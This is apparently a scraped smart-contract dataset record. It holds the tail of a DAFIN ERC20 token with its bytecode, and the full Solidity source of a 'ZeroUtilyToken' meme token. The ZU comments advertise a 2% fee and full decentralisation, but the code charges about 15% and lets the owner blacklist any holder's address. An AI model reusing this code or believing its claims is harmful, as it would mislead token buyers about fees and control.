ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } // Mintable part contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } // Token detailed contract DAFIN is ERC20, ERC20Detailed, ERC20Pausable, ERC20Mintable { string public constant name = "DAFIN"; string public constant symbol = "DAF"; uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 300000000 * (10 ** uint256(DECIMALS)); constructor () public ERC20Detailed(name, symbol, DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
0x608060405234801561001057600080fd5b50600436106101f05760003560e01c806370a082311161010f578063a457c2d7116100a2578063e2490d5b11610071578063e2490d5b146109f1578063f2fde38b14610a0f578063f435f5a714610a53578063f851a44014610aaf576101f0565b8063a457c2d714610851578063a9059cbb146108b7578063aa271e1a1461091d578063dd62ed3e14610979576101f0565b806395d89b41116100de57806395d89b4114610732578063983b2d56146107b557806398650275146107f95780639dc29fac14610803576101f0565b806370a082311461064257806382dc1ec41461069a5780638456cb59146106de5780638da5cb5b146106e8576101f0565b806339509351116101875780635c975abb116101565780635c975abb14610576578063625becbc146105985780636ef8d66d146105f4578063704b6c02146105fe576101f0565b806339509351146104445780633f4ba83a146104aa57806340c10f19146104b457806346fbf68e1461051a576101f0565b80632e0f2625116101c35780632e0f2625146103825780632f6c493c146103a65780632ff2e9dc14610402578063313ce56714610420576101f0565b806306fdde03146101f5578063095ea7b31461027857806318160ddd146102de57806323b872dd146102fc575b600080fd5b6101fd610af9565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561023d578082015181840152602081019050610222565b50505050905090810190601f16801561026a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102c46004803603604081101561028e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b32565b604051808215151515815260200191505060405180910390f35b6102e6610b60565b6040518082815260200191505060405180910390f35b6103686004803603606081101561031257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b6a565b604051808215151515815260200191505060405180910390f35b61038a610b9a565b604051808260ff1660ff16815260200191505060405180910390f35b6103e8600480360360208110156103bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9f565b604051808215151515815260200191505060405180910390f35b61040a610cb8565b6040518082815260200191505060405180910390f35b610428610cc9565b604051808260ff1660ff16815260200191505060405180910390f35b6104906004803603604081101561045a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ce0565b604051808215151515815260200191505060405180910390f35b6104b2610d0e565b005b610500600480360360408110156104ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b604051808215151515815260200191505060405180910390f35b61055c6004803603602081101561053057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610de1565b604051808215151515815260200191505060405180910390f35b61057e610dfe565b604051808215151515815260200191505060405180910390f35b6105da600480360360208110156105ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e15565b604051808215151515815260200191505060405180910390f35b6105fc610e6b565b005b6106406004803603602081101561061457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e76565b005b6106846004803603602081101561065857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc8565b6040518082815260200191505060405180910390f35b6106dc600480360360208110156106b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611011565b005b6106e661102f565b005b6106f06110db565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61073a611100565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077a57808201518184015260208101905061075f565b50505050905090810190601f1680156107a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107f7600480360360208110156107cb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611139565b005b610801611157565b005b61084f6004803603604081101561081957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611162565b005b61089d6004803603604081101561086757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111c9565b604051808215151515815260200191505060405180910390f35b610903600480360360408110156108cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111f7565b604051808215151515815260200191505060405180910390f35b61095f6004803603602081101561093357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611225565b604051808215151515815260200191505060405180910390f35b6109db6004803603604081101561098f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611242565b6040518082815260200191505060405180910390f35b6109f96112c9565b6040518082815260200191505060405180910390f35b610a5160048036036020811015610a2557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cf565b005b610a9560048036036020811015610a6957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114d5565b604051808215151515815260200191505060405180910390f35b610ab76115ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6040518060400160405280600581526020017f444146494e00000000000000000000000000000000000000000000000000000081525081565b6000600b60009054906101000a900460ff1615610b4e57600080fd5b610b588383611614565b905092915050565b6000600654905090565b6000600b60009054906101000a900460ff1615610b8657600080fd5b610b9184848461162b565b90509392505050565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bfa57600080fd5b60011515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c5757600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b601260ff16600a0a6311e1a3000281565b6000600960009054906101000a900460ff16905090565b6000600b60009054906101000a900460ff1615610cfc57600080fd5b610d0683836116dc565b905092915050565b610d1733610de1565b610d2057600080fd5b600b60009054906101000a900460ff16610d3957600080fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000610dc433611225565b610dcd57600080fd5b610dd78383611781565b6001905092915050565b6000610df782600a6118f890919063ffffffff16565b9050919050565b6000600b60009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e743361198a565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ecf57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f2a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610f8457600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101a33610de1565b61102357600080fd5b61102c816119e4565b50565b61103833610de1565b61104157600080fd5b600b60009054906101000a900460ff161561105b57600080fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f444146000000000000000000000000000000000000000000000000000000000081525081565b61114233611225565b61114b57600080fd5b61115481611a3e565b50565b61116033611a98565b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111bb57600080fd5b6111c58282611af2565b5050565b6000600b60009054906101000a900460ff16156111e557600080fd5b6111ef8383611c46565b905092915050565b6000600b60009054906101000a900460ff161561121357600080fd5b61121d8383611ceb565b905092915050565b600061123b82600c6118f890919063ffffffff16565b9050919050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461132857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561136257600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113bc57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461153057600080fd5b60001515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461158d57600080fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060019050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611621338484611d02565b6001905092915050565b6000611638848484611e61565b6116d184336116cc85600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208c90919063ffffffff16565b611d02565b600190509392505050565b6000611777338461177285600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a390919063ffffffff16565b611d02565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117bb57600080fd5b6117d0816006546120a390919063ffffffff16565b60055410156117de57600080fd5b6117f3816006546120a390919063ffffffff16565b60068190555061184b81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561193357600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61199e81600a6120bf90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b6119f881600a61216a90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b611a5281600c61216a90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611aac81600c6120bf90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b2c57600080fd5b611b418160065461208c90919063ffffffff16565b600681905550611b9981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611ce13384611cdc85600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208c90919063ffffffff16565b611d02565b6001905092915050565b6000611cf8338484611e61565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d3c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d7657600080fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e9b57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611ef857600080fd5b611f4a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461208c90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fdf81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008282111561209857fe5b818303905092915050565b6000808284019050838110156120b557fe5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120f957600080fd5b61210382826118f8565b61210c57600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121a457600080fd5b6121ae82826118f8565b156121b857600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fea165627a7a723058203340060a54283b0e72c8f7e5510ca54c94d9e018feb0d37ff12fda262acdb9890029
{"success": true, "error": null, "results": {}}
2,561
0x95adddb36d0be0162f30c1609d3ccd7bc37fa2ee
//ZeroUtilyToken ($ZU) //LP 100% lock //2% Deflationary yes //Telegram: https://t.me/zeroneverlose_official //100% decentralized //Buyback and burn // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZeroUtilyToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ZeroUtilyToken"; string private constant _symbol = "ZU"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(20); uint256 tTeam = tAmount.mul(TeamFee).div(20); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612efd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a20565b61045e565b6040516101789190612ee2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061309f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d1565b61048c565b6040516101e09190612ee2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612943565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190613114565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a9d565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612943565b610782565b6040516102b1919061309f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612e14565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612efd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a20565b61098c565b60405161035b9190612ee2565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a5c565b6109aa565b005b34801561039957600080fd5b506103a2610afa565b005b3480156103b